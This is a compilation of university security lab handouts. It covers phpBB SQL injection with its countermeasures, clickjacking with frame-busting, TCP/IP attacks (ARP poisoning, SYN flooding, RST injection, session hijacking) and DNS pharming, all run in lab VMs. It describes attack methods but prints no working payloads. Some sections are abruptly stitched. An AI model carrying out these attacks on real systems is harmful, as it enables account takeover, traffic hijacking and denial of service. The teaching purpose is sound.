When users want to update their profiles in phpBB2, they can click the Profile link, and then fill in a form to update the profile information. After the user sends the update request to the server, an UPDATE SQL statement will be constructed in include/usercp_register.php. The objective of this statement is to modify the current user’s profile information in phpbb_users table. There is a SQL injection vulnerability in this SQL statement. Please find the vulnerability, and then use it to do the following:

- Change another user’s profile without knowing his/her password. For example, if you are logged in as Alice, your goal is to use the vulnerability to modify Ted’s profile information, including Ted’s password. After the attack, you should be able to log into Ted’s account.

3.3 Task 3 (40 Points): Countermeasures

The fundamental problem of SQL injection vulnerability is the failure of separating code from data. When constructing a SQL statement, the program (e.g. PHP program) knows what part is data and what part is code. Unfortunately, when the SQL statement is sent to the database, the boundary has disappeared; the boundaries that the SQL interpreter sees may be different from the original boundaries, if code are injected into the data field. To solve this problem, it is important to ensure that the view of the boundaries are consistent in the server-side code and in the database. There are various ways to achieve this: this objective.

- Task 3.1: Escaping Special Characters using magic_quotes_gpc. In the PHP code, if a data variable is the string type, it needs to be enclosed within a pair of single quote symbols (’). For example, in the SQL query listed above, we see username = ‘$username’. The single quote symbol surrounding $username basically “tries” to separate the data in the $username variable from the code. Unfortunately, this separation will fail if the contents of $username include any single quote. Therefore, we need a mechanism to tell the database that a single quote in $username should be treated as part of the data, not as a special character in SQL. All we need to do is to add a backslash (\) before the single quote.

PHP provides a mechanism to automatically add a backslash before single-quote (‘), double quote (“), backslash (\), and NULL characters. If this option is turned on, all these characters in the inputs from the users will be automatically escaped. To turn on this option, go to /etc/php5/apache2/php.ini, and add magic_quotes_gpc = On (the option is already on in the VM provided to you). Remember, if you update php.ini, you need to restart the apache server by running "sudo service apache2 restart"; otherwise, your change will not take effect.

Please turn on/off the magic quote mechanism, and see how it help the protection. Please be noted that starting from PHP 5.3.0 (the version in our provided VM is 5.2.6), the feature has been DEPRECATED, due to several reasons:

- Portability: Assuming it to be on, or off, affects portability. Most code has to use a function called get_magic_quotes_gpc() to check for this, and code accordingly.
Performance and Inconvenience: not all user inputs are used for SQL queries, so mandatory escaping all data not only affects performance, but also become annoying when some data are not supposed to be escaped.

- **Task 3.2: Escaping Special Characters using** `addslashes()`. A PHP function called `addslashes()` can also achieve what the magic quote does. The original phpBB2 code uses `addslashes()` to defend against the SQL injection attacks if the magic quote is not turned on. Please look at the `common.php` file in `/var/www/SQL/SQLLabMysqlPhpbb` (`common.php` is included by `login.php`, so it will be executed whenever `login.php` is executed). We actually commented out the protection in phpBB2 to make the SQL injection possible. Please turn the protection back on to see the difference by removing "and FALSE" from the following line (we added "and False" to bypass this block of code). Please describe how this protection scheme help defend against your SQL injection attacks:

```
if( !get_magic_quotes_gpc() and FALSE )
```

After removing "and False", the countermeasure within the if-block will be executed if the magic quote mechanism is turned off\(^1\). To help describe your observations, you should print out the SQL queries, and see how the mechanism affect the queries. Please go to the guideline section to learn how to print out information in PHP programs.

- **Task 3.3: Escaping Special Characters using** `mysql_real_escape_string`. A better way to escape data to defend against SQL injection is to use database specific escaping mechanisms, instead of relying upon features like magical quotes. MySQL provides an escaping mechanism, called `mysql_real_escape_string()`, which prepends backslashes to a few special characters, including \x00, \n, \r, \', " and \x1A. Please use this function to fix the SQL injection vulnerabilities identified in the previous tasks. You should disable the other protection schemes described in the previous tasks before working on this task.

- **Task 3.4: Prepare Statement.** A more general solution to separating data from SQL logic is to tell the database exactly which part is the data part and which part is the logic part. MySQL provides the prepare statement mechanism for this purpose.

```
$db = new mysqli("localhost", "user", "pass", "db");
$stmt = $db->prepare("SELECT * FROM users WHERE name=? AND age=?");
$stmt->bind_param("si", $user, $age);
$stmt->execute();
```

Using the prepare statement mechanism, we divide the process of sending a SQL statement to the database into two steps. The first step is to send the code, i.e., the SQL statement without the data that need to be plugged in later. This is the prepare step. After this step, we then send the data to the database using `bind_param()`. The database will treat everything sent in this step only as data, not as code anymore.

\(^1\)Even if the magic quote option is turned on in `php.ini`, a statement in the beginning of `common.php` turned off the magic quote at runtime. This is done using `set_magic_quotes_runtime(0)`. That is why `get_magic_quotes_gpc()` will be false. It should be noted that turning on the magic quotes at runtime does not affect the inputs provided by the users (i.e., those in `$GET` and `$POST`). It only affects the other inputs (e.g. input from files, etc). The function `set_magic_quotes_runtime()` is also deprecated starting from PHP version 5.3.0.
Please use the prepare statement mechanism to fix the SQL injection vulnerability in the phpBB2 code. In the bind_param function, the first argument "si" means that the first parameter ($user) has a string type, and the second parameter ($age) has an integer type.

4 Guidelines

Print out debugging information. When we debug traditional programs (e.g. C programs) without using any debugging tool, we often use printf() to print out some debugging information. In web applications, whatever are printed out is actually displayed in the web page sent to the users; the debugging printout may mess up with the web page. There are several ways to solve this problem. A simple way is to print out all the information to a file. For example, the following code snippet can be used to print out the value of a variable to a file.

```php
$myFile = "/tmp/mylog.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$Data = "a string"
fwrite($fh, $Data . "\n");
fclose($fh);
```

A useful Firefox Add-on. Firefox has an add-on called "Tamper Data", it allows you to modify each field in the HTTP request before the request is sent to the server. For example, after clicking a button on a web page, an HTTP request will be generated. However, before it is sent out, the "Tamper Data" add-on intercepts the request, and gives you a chance to make an arbitrary change on the request. This tool is quite handy in this lab.

The add-on only works for Firefox versions 3.5 and above. If your firefox has an earlier version, you need to upgrade it for this add-on. In our most recently built virtual machine image (SEEDUbuntu9-Aug-2010), Firefox is already upgraded to version 3.6, and the "Tamper Data" add-on is already installed.

5 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising.
Clickjacking Attack Lab

1 Lab Overview

Clickjacking, also known as UI-Redress attack, misleads the victim by overlaying multiple frames and making some frames invisible. Thus the victim is displayed with one webpage but his/her action is actually on another webpage that is selected by the attackers. This attack takes advantage of the HTML property called iFrame. The objective of this lab is to understand how iFrame with some Style property can be used as the tool for such an attack. Students will first create HTML webpages to learn the use of iFrame and then they will try Clickjacking attacks on the phpBB Web Application server within the lab environment.

2 Lab Environment

In this lab, we will need the following:

1. Firefox web browser.
2. Apache web server.
3. phpBB message board web application.
4. A malicious website.

The pre-built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extensions. The apache web server is also included in the pre-built Ubuntu image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

% sudo apache2ctl start
or
% sudo service apache2 start

The phpBB web application is already set up in the pre-built Ubuntu VM image. We have also created several user accounts in the phpBB server. The password information can be obtained from the posts on the front page. You can access the phpBB server (for this lab) using the following URLs (the apache server needs to be started first):

<table>
<thead>
<tr>
<th>URL</th>
<th>Description</th>
<th>Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.originalphpbb.com">http://www.originalphpbb.com</a></td>
<td>Original phpBB</td>
<td>/var/www/OriginalPhpbb/</td>
</tr>
</tbody>
</table>

The attacker has to host a new website to make the Clickjacking attack possible. The following steps show how to host a new website using the same Apache web server running on the local machine.

2. Add the following line to the /etc/hosts file:

```
127.0.0.1 www.clickjackinglab.com
```

3. Create a directory called ClickjackingLab in /var/www/. All your html files should be kept in this newly created directory.

4. Create a new entry for your new website in the apache server by appending the following information to the file /etc/apache2/sites-available/default:

```
<VirtualHost *:80>
    ServerName www.clickjackinglab.com
    DocumentRoot /var/www/ClickjackingLab
</VirtualHost>
```

5. Restart the Apache server using the following command:

```
% sudo service apache2 restart
```

6. Check your website by accessing it through Firefox browser.

**Note for Instructors**

This lab may be conducted in a supervised lab environment. The instructor may provide the following background information to students at the beginning of the lab session:

1. Information on how to use the preconfigured virtual machine.
2. How to use the Firefox web browser.
3. The creation and use of HTML Webpages.
4. How to access the source code for the web applications.

### 3 Lab Tasks

#### 3.1 Task 1: Understanding iFrame

iFrame is a tag defined as inline Frame by the HTML standard. iFrame facilitates to embedd an HTML document in a frame inside a normal HTML document. HTML has an attribute called Style, which provides the user with the option of layouting the HTML element. Style attribute introduces Cascading Style Sheet (CSS) to the HTML.

```
<html >
<head>
    <title>title</title>
</head>
<body>
```
The sample code above defines a simple HTML Webpage containing a iframe element with its Style attribute. The property position defines location of the iframe and its dimension where as opacity defines the visibility percentage of the iframe (1.0 means “complete visible” and 0.0 means “complete invisible”). These above mentioned properties of the style play a very important role in making the Clickjacking attack possible. In this task, the student need to get familiar with iframe and its Style attribute:

1. Create a website as described in the previous section.

2. Create a webpage by copying the above mentioned code into an ”index.htm” file in your website directory.

3. Describe any 3 interesting observation about Style properties.

3.2 Task 2: The Clickjacking Attack

In Clickjacking attacks, the attacker constructs a malicious web page and misleads the victim into clicking on certain (visible) links/buttons, whereas in reality, they are actually clicking on other links/buttons made invisible by the attacker. In such an attack, what victim is displayed to see and what the victim actually clicks are different. In the Clickjacking task, the attacker can do the following to make the attack successful:

1. Host a malicious website, and create a webpage that contains an iframe. The phpBB web site is loaded into the iframe.

2. Post a message in the phpBB whiteboard and attract victims to check for your malicious website.

3. Once the victim visits the attacker’s well crafted webpage and clicks on the links/buttons provided by the attacker, some posts/inbox contents in the phpBB should get deleted.

Attack Tips: The Clickjacking attack is all about crafting the malicious webpage in order to deceive the victim from the attack. One of the important requirements of the attack is that victim has to be logged into the phpBB web application in order to make this an successful attack.

- Since the user has be logged into the phpBB web application to make the attack, the attacker will post a message to the victim with the malicious website link in the message content. Thus making an attempt to persuade the victim to visit the malicious website.

- The main objective of the attacks is to get the victim to clicks on the phpBB web page and delete some of the posts from the page. Obviously, the victims will not make the clicks if they can see what
they are actually doing (they do not want to delete those posts). Therefore, the malicious web page has to be crafted in a way, such that the victims are not clicking on what they are seeing, although they think they are clicking on what they see.

You can achieve the above goal using the style properties like position and opacity. You need to put the links/buttons at appropriate positions to make your attacks successful.

3.3 Task 3: Protection against ClickJack attack

Several solutions have been proposed to counter the Clickjacking attack. The followings are two solutions. Please try these solutions, and report your observation.

- **Frame-Busting**: This technique checks if the webpage is the topmost window or embedded in a frame. If the webpage is embedded, it will bust out of the frame and makes itself as the topmost frame. This is achieved with the help of DOM property call top. The top property defines the topmost ancestor window.

```javascript
<script type="text/javascript">
function breakout()
{
if (window.top!=window.self)
{
    window.top.location=window.self.location;
}
}
</script>
```

The above javascript function defines a sample frame-busting function.

4 Submission

Students need to submit a detailed lab report to describe what they have done and what they have observed. Report should include the evidences to support the observations. Evidences include observations, screenshots, etc.

References


1 Lab Overview

The learning objective of this lab is for students to gain the first-hand experience on the vulnerabilities of TCP/IP protocols, as well as on attacks against these vulnerabilities. The vulnerabilities in the TCP/IP protocols represent a special genre of vulnerabilities in protocol designs and implementations; they provide an invaluable lesson as to why security should be designed in from the beginning, rather than being added as an afterthought. Moreover, studying these vulnerabilities help students understand the challenges of network security and why many network security measures are needed. Vulnerabilities of the TCP/IP protocols occur at several layers.

2 Lab Environment

2.1 Environment Setup

Network Setup. To conduct this lab, students need to have at least 3 machines. One computer is used for attacking, the second computer is used as the victim, and the third computer is used as the observer. Students can set up 3 virtual machines on the same host computer, or they can set up 2 virtual machines, and then use the host computer as the third computer. For this lab, we put all these three machines on the same LAN, the configuration is described in the following:

```
+----------------+----------------+----------------+
| Machine 1      | Machine 2      | Machine 3      |
| 192.168.0.122  | 192.168.0.123  | 192.168.0.124  |
+----------------+----------------+----------------+
|                 | LAN or Virtual Network |       |
+----------------+----------------+----------------+
|                 | Gateway 192.168.0.1 |       |
+----------------+----------------+----------------+
|                 | Internet        |       |
```

Operating System. This lab can be carried out using a variety of operating systems. Our pre-built virtual machine is based on Ubuntu Linux, and all the tools needed for this lab are already installed. If you prefer to use other Unix operating systems, such as Fedora, you should feel free to use them; however, some of the commands used in this lab description might not work or exist in other operating systems.

Netwag Tools. We need tools to send out network packets of different types and with different contents. We can use Netwag to do that. However, the GUI interface of Netwag makes it difficult for us to auto-
mate our process. Therefore, we strongly suggest that students use its command-line version, the Netwox command, which is the underlying command invoked by Netwag.

Netwox consists of a suite of tools, each having a specific number. You can run the command like the following (the parameters depend on which tool you are using). For some of the tool, you have to run it with the root privilege:

```
# netwox number [parameters ... ]
```

If you are not sure how to set the parameters, you can look at the manual by issuing "netwox number --help". You can also learn the parameter settings by running Netwag: for each command you execute from the graphic interface, Netwag actually invokes a corresponding Netwox command, and it displays the parameter settings. Therefore, you can simply copy and paste the displayed command.

**Wireshark Tool.** You also need a good network-traffic sniffer tool for this lab. Although Netwox comes with a sniffer, you will find that another tool called Wireshark is a much better sniffer tool. Both Netwox and Wireshark can be downloaded. If you are using our pre-built virtual machine, both tools are already installed. To sniff all the network traffic, both tools need to be run by the root.

**Enabling the ftp and telnet Servers.** For this lab, you may need to enable the ftp and telnet servers. For the sake of security, these services are usually disabled by default. To enable them in our pre-built Ubuntu virtual machine, you need to run the following commands as the root user:

```
Start the ftp server
# service vsftpd start
```
```
Start the telnet server
# service openbsd-inetd start
```

### 2.2 Note for Instructors

For this lab, a lab session is desirable, especially if students are not familiar with the tools and the environments. If an instructor plans to hold a lab session (by himself/herself or by a TA), it is suggested the following be covered in the lab session. We assume that the instructor has already covered the concepts of the attacks in the lecture, so we do not include them in the lab session.

- The use of virtual machine software.
- The use of Wireshark, Netwag, and Netwox tools.
- Using the Netwox command-line tool to create arbitrary TCP, UDP, IP packets, etc.

### 3 Lab Tasks

In this lab, students need to conduct attacks on the TCP/IP protocols. They can use the Netwox tools and/or other tools in the attacks. All the attacks are performed on Linux operating systems. However, instructors can require students to also conduct the same attacks on other operating systems and compare the observations.

To simplify the “guess” of TCP sequence numbers and source port numbers, we assume that attacks are on the same physical network as the victims. Therefore, you can use sniffer tools to get that information. The following is the list of attacks that need to be implemented.
3.1 Task (1) : ARP cache poisoning

The ARP cache is an important part of the ARP protocol. Once a mapping between a MAC address and an IP address is resolved as the result of executing the ARP protocol, the mapping will be cached. Therefore, there is no need to repeat the ARP protocol if the mapping is already in the cache. However, because the ARP protocol is stateless, the cache can be easily poisoned by maliciously crafted ARP messages. Such an attack is called the ARP cache poisoning attack.

In such an attack, attackers use spoofed ARP messages to trick the victim to accept an invalid MAC-to-IP mapping, and store the mapping in its cache. There can be various types of consequences depending on the motives of the attackers. For example, attackers can launch a DoS attack against a victim by associating a nonexistent MAC address to the IP address of the victim’s default gateway; attackers can also redirect the traffic to and from the victim to another machine, etc.

In this task, you need to demonstrate how the ARP cache poisoning attack work. Several commands can be useful in this task. In Linux we can use command `arp` to check the current mapping between IP address and MAC.

3.2 Task (2) : ICMP Redirect Attack

The ICMP redirect message is used by routers to provide the up-to-date routing information to hosts, which initially have minimal routing information. When a host receives an ICMP redirect message, it will modify its routing table according to the message. Because of the lack of validation, if attackers want the victim to set its routing information in a particular way, they can send spoofed ICMP redirect messages to the victim, and trick the victim to modify its routing table.

In this task, you should demonstrate how the ICMP redirect attack works, and describe the observed consequence. To check the routing information in Linux, you can use the command `route`.

3.3 Task (3) : SYN Flooding Attack

SYN flood is a form of DoS attack in which attackers send many SYN requests to a victim’s TCP port, but the attackers have no intention to finish the 3-way handshake procedure. Attackers either use spoofed IP address or do not continue the procedure. Through this attack, attackers can flood the victim’s queue that is used for half-opened connections, i.e. the connections that has finished SYN, SYN-ACK, but has not yet got a final ACK back. When this queue is full, the victim cannot take any more connection. Figure ?? illustrates the attack.

The size of the queue has a system-wide setting. In Linux, we can check the system queue size setting using the following command:

```
# sysctl -q net.ipv4.tcp_max_syn_backlog
```

We can use command "netstat -na" to check the usage of the queue, i.e., the number of half-opened connection associated with a listening port. The state for such connections is SYN-RECV. If the 3-way handshake is finished, the state of the connections will be ESTABLISHED.

In this task, you need to demonstrate the SYN flooding attack. You can use the Netwox tool to conduct the attack, and then use a sniffer tool to capture the attacking packets. While the attack is ongoing, run the "netstat -na" command on the victim machine, and compare the result with that before the attack. Please also describe how you know whether the attack is successful or not.
ACK. The server is not able to process request from user.

\[ \text{SYN} \quad \text{ACK} \quad \text{SYN-ACK} \]

Figure 1: SYN Flood

**SYN Cookie Countermeasure:** If your attack seems unsuccessful, one thing that you can investigate is whether the SYN cookie mechanism is turned on. SYN cookie is a defense mechanism to counter the SYN flooding attack. The mechanism will kick in if the machine detects that it is under the SYN flooding attack. You can use the `sysctl` command to turn on/off the SYN cookie mechanism:

```
# sysctl -a | grep cookie (Display the SYN cookie flag)
# sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
# sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)
```

Please run your attacks with the SYN cookie mechanism on and off, and compare the results. In your report, please describe why the SYN cookie can effectively protect the machine against the SYN flooding attack. If your instructor does not cover the mechanism in the lecture, you can find how the SYN cookie mechanism works from the Internet.

### 3.4 Task (4) : TCP RST Attacks on `telnet` and `ssh` Connections

The TCP RST Attack can terminate an established TCP connection between two victims. For example, if there is an established `telnet` connection (TCP) between two users A and B, attackers can spoof a RST packet from A to B, breaking this existing connection. To succeed in this attack, attackers need to correctly construct the TCP RST packet.

In this task, you need to launch an TCP RST attack to break an existing `telnet` connection between A and B. After that, try the same attack on an `ssh` connection. Please describe your observations. To simply the lab, we assume that the attackers and the victims are on the same LAN, i.e., attackers can observe the TCP traffic between A and B.
3.5 Task (5) : TCP RST Attacks on Video Streaming Applications

Let us make the TCP RST attack more interesting by experimenting it on the applications that are widely used in nowadays. We choose the video streaming application in this task. For this task, you can choose a video streaming web site that you are familiar with (we will not name any specific web site here). Most of video sharing websites establish a TCP connection with the client for streaming the video content. The attacker’s goal is to disrupt the TCP session established between the victim and video streaming machine. To simplify the lab, we assume that the attacker and the victim are on the same LAN. In the following, we describe the common interaction between a user (the victim) and some video-streaming web site:

- The victim browses for a video content in the video-streaming web site, and selects one of the videos for streaming.
- Normally video contents are hosted by a different machine, where all the video contents are located. After the victim selects a video, a TCP session will be established between the victim machine and the content server for the video streaming. The victim can then view the video he/she has selected.

Your task is to disrupt the video streaming by breaking the TCP connection between the victim and the content server. You can let the victim user browse the video-streaming site from another (virtual) machine or from the same (virtual) machine as the attacker. Please be noted that, to avoid liability issues, any attacking packets should be targeted at the victim machine (which is the machine run by yourself), not the content server machine (which does not belong to you).

3.6 Task (6) : ICMP Blind Connection-Reset and Source-Quench Attacks

ICMP messages can also be used to achieve the connection-resetting attack. To do this, attackers send an ICMP error message that indicates a “hard error” to either of the two endpoints of a TCP connection. The connection can be immediately torn down as RFC 1122 states that a host should abort the corresponding connection when receiving such an ICMP error message. RFC 1122 defines “hard errors” as ICMP error messages of type 3 (Destination Unreachable) with code 2 (protocol unreachable), 3 (port unreachable), or 4 (fragmentation needed and DF bit set).

The ICMP source quench message is used by the congested routers to tell the TCP senders to slow down. Attackers can forge such messages to conduct the denial of services attacks on TCP senders.

In this task, you need to launch the ICMP blind connect-reset attacks and the ICMP source quench attacks. You need to be noted that some systems may reasonably ignore this type of ICMP errors in certain TCP state. You need to describe your observations in the lab report.

3.7 Task (7) : TCP Session Hijacking

The objective of the TCP Session Hijacking attack is to hijack an existing TCP connection (session) between two victims by injecting malicious contents into this session. If this connection is a telnet session, attackers can inject malicious commands into this session, causing the victims to execute the malicious commands. We will use telnet in this task. We also assume that the attackers and the victims are on the same LAN.

Note: If you use Wireshark to observe the network traffic, you should be aware that when Wireshark displays the TCP sequence number, by default, it displays the relative sequence number, which equals to the actual sequence number minus the initial sequence number. If you want to see the actual sequence number in a packet, you need to right click the TCP section of the Wireshark output, and select "Protocol
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Figure 2: TCP Session Hijacking

Prefer". In the popup window, uncheck the "Relative Sequence Number and Window Scaling" option.

3.8 Investigation

The level of difficulty in TCP attacks depends on a number of factors. Please investigate the following and write down your discoveries and observations in your lab reports.

- Study the pattern of the Initial Sequence Numbers (ISN), and answer whether the patterns are predictable.
- Study the TCP window size, and describe your observations.
- Study the pattern of the source port numbers, and answer whether the patterns are predictable.

3.9 Note

It should be noted that because some vulnerabilities have already been fixed in Linux, some of the above attacks will fail in Linux, but they might still be successful against other operating systems.

4 Lab Report

You should submit a lab report. The report should cover the following sections:

- **Design**: The design of your attacks, including the attacking strategies, the packets that you use in your attacks, the tools that you used, etc.
- **Observation**: Is your attack successful? How do you know whether it has succeeded or not? What do you expect to see? What have you observed? Is the observation a surprise to you?
• **Explanation:** Some of the attacks might fail. If so, you need to find out what makes them fail. You can find the explanations from your own experiments (preferred) or from the Internet. If you get the explanation from the Internet, you still need to find ways to verify those explanations through your own experiments. You need to convince us that the explanations you get from the Internet can indeed explain your observations.
DNS Pharming Attack Lab

1 Lab Overview

DNS (Domain Name System) is the Internet’s phone book; it translates hostnames to IP addresses (or IP addresses to hostnames). This translation is through DNS resolution, which happens behind the scene. DNS Pharming attacks manipulate this resolution process in various ways, with an intent to misdirect users to alternative destinations, which are often malicious. The objective of this lab is to understand how such attacks work. Students will first set up and configure a DNS server, and then they will try various DNS Pharming attacks on the target that is also within the lab environment.

2 Lab Environment

We need to setup the lab environment as the figure below. To simplify the lab environment, we let the user’s computer, DNS server, and attacker’s computer be on one physical machine, but using different virtual machines. The website used in this lab can be any website. Our configuration is based on Ubuntu, which is the operating system we use in our pre-built virtual machine.

The above is the figure of the lab environment. As you can see, we set up the DNS server, the user machine and the attacker machine in the same LAN. We assume that the user machine’s IP address is 192.168.0.100, the DNS Server’s IP is 192.168.0.10 and the attacker machine’s IP is 192.168.0.200.

Note for Instructors: For this lab, a lab session is desirable, especially if students are not familiar with the tools and the environments. If an instructor plans to hold a lab session (by himself/herself or by a TA), it is suggested the following to be covered in the lab session:

1We assume that the instructor has already covered the concepts of the attacks in the lecture, so we do not include them in the lab session.
1. The use of the virtual machine software.
2. The use of Wireshark, Netwag, and Netwox tools.
3. Configuring the DNS server.

2.1 Install and configure the DNS server

Step 1: Install the DNS server. On 192.168.0.10, We install the BIND9 DNS server using the following command:

```
# sudo apt-get install bind9
```

The BIND9 server is already installed in our pre-built Ubuntu virtual machine image.

Step 2: Create the named.conf.options file. The DNS server needs to read the /etc/bind/named.conf configuration file to start. This configuration file usually includes an option file called /etc/bind/named.conf.options. Please add the following content to the option file:

```conf
options {
    dump-file    "/var/cache/bind/dump.db";
};
```

It should be noted that the file /var/cache/bind/dump.db is used to dump DNS server's cache.

Step 3: Create zones. Assume that we own a domain: example.com, which means that we are responsible for providing the definitive answer regarding example.com. Thus, we need to create a zone in the DNS server by adding the following contents to /etc/bind/named.conf. It should be noted that the example.com domain name is reserved for use in documentation, and is not owned by anybody, so it is safe to use it.

```conf
zone "example.com" {
    type master;
    file "/var/cache/bind/example.com.db";
};
zone "0.168.192.in-addr.arpa" {
    type master;
    file "/var/cache/bind/192.168.0";
};
```

Note that we use 192.168.0.x as an example. If you use different IP addresses, you need to change /etc/bind/named.conf and the DNS lookup files (stated below) accordingly.

Step 4: Setup zone files. The file name after the file keyword in the above zones is called the zone file. The actual DNS resolution is put in the zone file. In the /var/cache/bind/ directory, compose the following example.com.db zone file (Note that the configuration files stated in the following can be downloaded from the web page of this lab; typing in these files might introduce errors. If you are interested in the syntax of these configuration files, please refer to RFC 1035 for details):
The symbol ‘@’ is a special notation meaning the origin from the named.conf. Therefore, ‘@’ here stands for example.com. ‘IN’ means internet. ‘SOA’ is short for Start Of Authority. This zone file contains 7 resource records (RRs): a SOA (Start Of Authority) RR, a NS (Name Server) RR, a MX (Mail eXchanger) RR, and 4 A (host Address) RRs.

We also need to setup the DNS reverse lookup file. In the directory /var/cache/bind/, compose a reverse DNS lookup file called 192.168.0 for example.com domain:

```
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. ( 2008111001 ;serial, today’s date + today’s serial number
8H;refresh, seconds
2H;retry, seconds
4W;expire, seconds
1D);minimum, seconds

@ IN NS ns.example.com.;Address of name server
@ IN MX 10 mail.example.com.;Primary Mail Exchanger
www IN A 192.168.0.101;Address of www.example.com
mail IN A 192.168.0.102;Address of mail.example.com
ns IN A 192.168.0.10;Address of ns.example.com
*.example.com. IN A 192.168.0.100;Address for other URL in
;example.com. domain
```

**Step 5: Start a DNS server.** Now we are ready to start the DNS server. Run the following command:

```
% sudo /etc/init.d/bind9 restart
```

or

```
% sudo service bind9 restart
```

### 2.2 Configure the User Machine

On the user machine 192.168.0.100, we need to let the machine 192.168.0.10 be the default DNS server. We achieve this by changing the DNS setting file /etc/resolv.conf of the user machine:

```
nameserver 192.168.0.10 # the ip of the DNS server you just setup
```
Note: make sure this is the only nameserver entry in your /etc/resolv.conf. Also note that, in Ubuntu, /etc/resolv.conf may be overwritten by the DHCP client. To avoid this, disable DHCP by doing the following (in Ubuntu 9):

Click "System" -> "Preferences" -> "Network Connections",
Double-click the network device (e.g. eth1) in "Wired" Tab,
Select "IPv4 Settings" -> "Method" ->"Automatic(DHCP) Addresses Only"
and update only "DNS Servers" entry with IP address of BIND DNS Server.

Now Click the "Network Icon" on the top right corner and Select "Auto eth0". This will refresh the wired network connection and updates the changes.

You should restart your Ubuntu machine for the modified setting to take effect.

2.3 Configure the Attacker Machine

On the attacker machine, there is not much to configure. The attacker needs to run Netwag or Netwox as the root user.

2.4 Expected Output

After you have set up the lab environment according to the above steps, your DNS server is ready to go. Now, on the user machine, issue the following command:

% dig www.example.com

You should be able to see something like this:

<<< DiG 9.5.0b2 <<< www.example.com
;; global options: printcmd
;; Got answer:
;; ->>>HEADER<<- opcode: QUERY, status: NOERROR, id: 27136
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
www.example.com. IN A

;; ANSWER SECTION:
www.example.com. 259200 IN A 192.168.0.101

;; AUTHORITY SECTION:
example.com. 259200 IN NS ns.example.com.

;; ADDITIONAL SECTION:
sns.example.com. 259200 IN A 192.168.0.10

;; Query time: 80 msec
;; SERVER: 192.168.0.10#53(192.168.0.10)
Note: the ANSWER SECTION contains the DNS mapping. You can notice that the IP address of www.example.com is now 192.169.0.101, which is what we have set up in the DNS server. For a simple and clear answer, we can use nslookup instead. To do a DNS reverse lookup, issue `dig -x N.N.N.N`.

2.5 Install Wireshark

Wireshark is a very important tool for this lab; you can sniff every package that is going through the LAN. You can get Wireshark from http://www.wireshark.org. Although Netwox also comes with a sniffer, Wireshark is a much better sniffer. Wireshark is already installed in our pre-built virtual machine.

3 Lab Tasks: Pharming Attacks

The main objective of Pharming attacks on a user is to redirect the user to another machine _B_ when the user tries to get to machine _A_ using _A_’s host name. For example, when the user tries to access the online banking, such as www.chase.com, if the adversaries can redirect the user to a malicious web site that looks very much like the main web site of www.chase.com, the user might be fooled and give away password of his/her online banking account.

When a user types in www.chase.com in his browsers, the user’s machine will issue a DNS query to find out the IP address of this web site. Attackers’ goal is to fool the user’s machine with a faked DNS reply, which resolves www.chase.com to a malicious IP address. There are several ways to achieve such an attack. In the rest of the lab description, we will use www.example.com as the web site that the user wants to access, instead of using the real web site name www.chase.com; the example.com domain name is reserved for use in documentation, and is not owned by anybody.

3.1 Attackers have already compromised the victim’s machine

Modifying HOSTS file. The host name and IP address pairs in the HOSTS file (/etc/hosts) are used for local lookup; they take the preference over remote DNS lookups. For example, if there is a following entry in the HOSTS file in the user’s computer, the www.example.com will be resolved as 1.2.3.4 in user’s computer without asking any DNS server:

```
1.2.3.4    www.example.com
```

Attacks. If attackers have compromised a user’s machine, they can modify the HOSTS file to redirect the user to a malicious site whenever the user tries to access www.example.com. Assume that you have already compromised a machine, please try this technique to redirect www.example.com to any IP address that you choose.

Note: /etc/hosts is ignored by the nslookup command, but will take effect on ping command and web browser etc.
3.2 Directly Spoof Response to User

In this attack, the victim’s machine has not been compromised, so attackers cannot directly change the DNS query process on the victim’s machine. However, if attackers are on the same local area network as the victim, they can still achieve a great damage.

When a user types the name of a web site (a host name, such as www.example.com) in a web browser, the user’s computer will issue a DNS request to the DNS server to resolve the IP address of the host name. After hearing this DNS request, the attackers can spoof a fake DNS response. The fake DNS response will be accepted by the user’s computer if it meets the following criteria:

1. The source IP address must match the IP address of the DNS server.
2. The destination IP address must match the IP address of the user’s machine.
3. The source port number (UDP port) must match the port number that the DNS request was sent to (usually port 53).
4. The destination port number must match the port number that the DNS request was sent from.
5. The UDP checksum must be correctly calculated.
6. The transaction ID must match the transaction ID in the DNS request.
7. The domain name in the question section of the reply must match the domain name in the question section of the request.
8. The domain name in the answer section must match the domain name in the question section of the DNS request.
9. The User’s computer must receive the attacker’s DNS reply before it receives the legitimate DNS response.

To satisfy the criteria 1 to 8, the attackers can sniff the DNS request message sent by the victim; they can then create a fake DNS response, and send back to the victim, before the real DNS server does. Netwox tool 105 provide a utility to conduct such sniffing and responding.

Tip: in the Netwox/Netwag tool 105, you can use the “filter” field to indicate the IP address of your target. For example, in the scenario showing below, you can use "src host 192.168.0.100".

```
spoofed DNS response 2
<table>
<thead>
<tr>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
<tr>
<td>/ DNS query 1</td>
</tr>
</tbody>
</table>
User ---------------> DNS Server Attacker
<------------------
DNS response 3
192.168.0.100 192.168.0.10 192.168.0.200
| | | |
| | | LAN or Virtual Network |
| | Internet |
```


3.3 DNS Server Cache Poisoning

The above attack targets the user’s machine. In order to achieve long-lasting effect, every time the user’s machine sends out a DNS query for www.example.com, the attacker’s machine must send out a spoofed DNS response. This might not be so efficient; there is a much better way to conduct attacks by targeting the DNS server, instead of the user’s machine.

When a DNS server $Z$ receives a query, if the host name is not within the $Z$’s domain, it will ask other DNS servers to get the host name resolved. Note that in our lab setup, the domain of our DNS server is example.com; therefore, for the DNS queries of other domains (e.g. www.google.com), the DNS server $Z$ will ask other DNS servers. However, before $Z$ asks other DNS servers, it first looks for the answer from its own cache; if the answer is there, the DNS server $Z$ will simply reply with the information from its cache. If the answer is not in the cache, the DNS server will try to get the answer from other DNS servers. When $Z$ gets the answer, it will store the answer in the cache, so next time, there is no need to ask other DNS servers.

